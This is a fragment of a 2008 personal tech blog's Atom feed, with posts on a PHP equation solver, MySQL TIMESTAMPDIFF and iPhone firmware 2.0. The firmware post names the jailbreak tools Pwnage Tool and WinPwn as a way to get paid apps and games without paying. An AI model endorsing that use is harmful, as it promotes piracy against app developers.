&lt;a href="http://feeds.feedburner.com/~f/bulbing?a=h0QcaWyk"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=cAVPFYYJ"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=cAVPFYYJ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=Lb8OFc9E"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=Lb8OFc9E" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=6E7kHejN"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=6E7kHejN" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/5800103399925683026/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=5800103399925683026" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/5800103399925683026?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/5800103399925683026?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/MdmSLJ9AS-w/mysql-timestampdiff.html" title="MySQL TIMESTAMPDIFF" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2008/10/mysql-timestampdiff.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkUBRHc8fip7ImA9WxRSGUw.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-3866174641113092872</id><published>2008-09-20T14:15:00.007+02:00</published><updated>2008-09-20T15:44:15.976+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-20T15:44:15.976+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="PHP" /><title>Equation solver and plotter in PHP</title><content type="html">&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;I'm sure that everyone knows what an equation is. It's for example x^2=9. If I should solve an equation, I would write it down on a piece of paper and tried to edit that equation, everyone knows what is possible to do and what is not while editing. Or I could enter the equation into some computer program and it would solve it instead of me in a few seconds (miliseconds :p). There are loads of these programs on the internet, moreover some are online.&lt;br /&gt;&lt;br /&gt;But, what I wanted to say or what does the heading refers to is that I tried to make an application which is able to solve an equation and print the graph with the solution. It's written in my favourite language PHP (which also means that the application runs online). The whole app is made by my own head so don't except something genuis, I'm sure it contains some bugs but it's still usable for me.&lt;br /&gt;&lt;br /&gt;My app should be able to solve linear, quadratic and some goniometric (sine, cosine) equations and you can &lt;a href="http://rovnice.profitux.cz/"&gt;try it now&lt;/a&gt;! So enjoy and feel free to comment, I'm looking forward to it.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://rovnice.profitux.cz"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_y9bIz6XDw14/SNT-Hwa6IeI/AAAAAAAAAFg/G4SKhVDaJ48/s400/try.jpg" alt="" id="BLOGGER_PHOTO_ID_5248098875003773410" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-3866174641113092872?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/bulbing?a=A8uU906t"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=ZEWUHHle"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=ZEWUHHle" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=EVcHuLEF"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=EVcHuLEF" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=ok6MmukA"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=ok6MmukA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/3866174641113092872/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=3866174641113092872" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/3866174641113092872?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/3866174641113092872?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/6OnSAZpXfVo/equation-solver-and-plotter-in-php.html" title="Equation solver and plotter in PHP" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_y9bIz6XDw14/SNT-Hwa6IeI/AAAAAAAAAFg/G4SKhVDaJ48/s72-c/try.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2008/09/equation-solver-and-plotter-in-php.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEAGSH0_eCp7ImA9WxRTGEQ.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-502161304867605666</id><published>2008-09-08T17:13:00.004+02:00</published><updated>2008-09-08T18:52:09.340+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-08T18:52:09.340+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="iPod Touch/iPhone" /><title>iPhone/iPod Firmware 2.0</title><content type="html">&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;It's a few months ago when the firmware for iPhone (and also iPod) was released. The actual version is 2.0.2 and it brings loads of new features. In my opinion, the firmware 2.0 was mainly designed for the iPhone 3G but it also works on the older version of iPhone and also on iPod Touch.&lt;br /&gt;&lt;br /&gt;The firmware 2.0 costs about $10 but it includes the older applications (known as 'apps for $20'). So you have the mail client, Google Maps viewer, weather forecast, and notes by default. And these application are very usable. Moreover there is one more application called 'App Store' where you can download tons of programs and games. Some are free and some are paid but you need to have an account on the officialy Apple App Store to download and install these apps (even if they are free).&lt;br /&gt;&lt;br /&gt;The calculator, which is a native application, was improved. The old one was just simple, applicable only for the basic counts. But I missed the goniometric functions (sinus, cosinus..), square and third power, sqare and third root and the brackets. Now you get these functions just by turning iPod into the landscape position, which also makes the input line longer.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://images.apple.com/hk/en/iphone/features/images/supp_calculator20080609.jpg"&gt;&lt;img style="cursor: pointer; width: 198px; height: 165px;" src="http://images.apple.com/hk/en/iphone/features/images/supp_calculator20080609.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;New games are just fine. One of my favourite is Asphalt 4, a well know game for mobile phones. I didn't play any of Need for Speed but I guess Asphalt 4 is a kind of this game.&lt;/span&gt;&lt;span style="font-family:verdana;"&gt; You have a car which you can improve/or change by buying add-ons from money you earn from a won race. When you win a race, you unlock another map and so on.&lt;/span&gt;&lt;/span&gt; &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;You simply control this game by two fingers (the right part of the screen means turning right and vice versa) or by tilting the iPod.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Another game is Texas Hold'em which is poker in fact. I haven't ever played poker before but now I can't throw it off =). The opponents are very realistic. They are happy \o/ when they win and sad when lose the game and t&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;he tallier applauds you when you win. &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm4.static.flickr.com/3206/2672971971_76e4db6623.jpg?v=0"&gt;&lt;img style="cursor: pointer; width: 263px; height: 397px;" src="http://farm4.static.flickr.com/3206/2672971971_76e4db6623.jpg?v=0" alt="" border="0" /&gt;   &lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_y9bIz6XDw14/SMVVYpPhkoI/AAAAAAAAAFQ/eQQ_1llmA3Q/s1600-h/asphalt.jpg"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_y9bIz6XDw14/SMVVYpPhkoI/AAAAAAAAAFQ/eQQ_1llmA3Q/s400/asphalt.jpg" alt="" id="BLOGGER_PHOTO_ID_5243691223019000450" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;There are also several ways how to jailbreak this firmware. It's for people who don't want to pay for these apps and games. &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: verdana;"&gt;For Mac users is there the Pwnage Tool (developed by the worldwide known iphone dev team :p) and for Windows users exists WinPwn. Both are very simple to use and provide you to download and install for free.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm4.static.flickr.com/3206/2672971971_76e4db6623.jpg?v=0"&gt;  &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-502161304867605666?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/bulbing?a=UTKT0DUQ"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=qcCjD4nS"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=qcCjD4nS" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=ortthtRr"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=ortthtRr" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=BD96epOL"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=BD96epOL" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/502161304867605666/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=502161304867605666" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/502161304867605666?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/502161304867605666?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/mF4SeTPPkG8/iphoneipod-firmware-20.html" title="iPhone/iPod Firmware 2.0" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_y9bIz6XDw14/SMVVYpPhkoI/AAAAAAAAAFQ/eQQ_1llmA3Q/s72-c/asphalt.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2008/09/iphoneipod-firmware-20.html</feedburner:origLink></entry></feed>
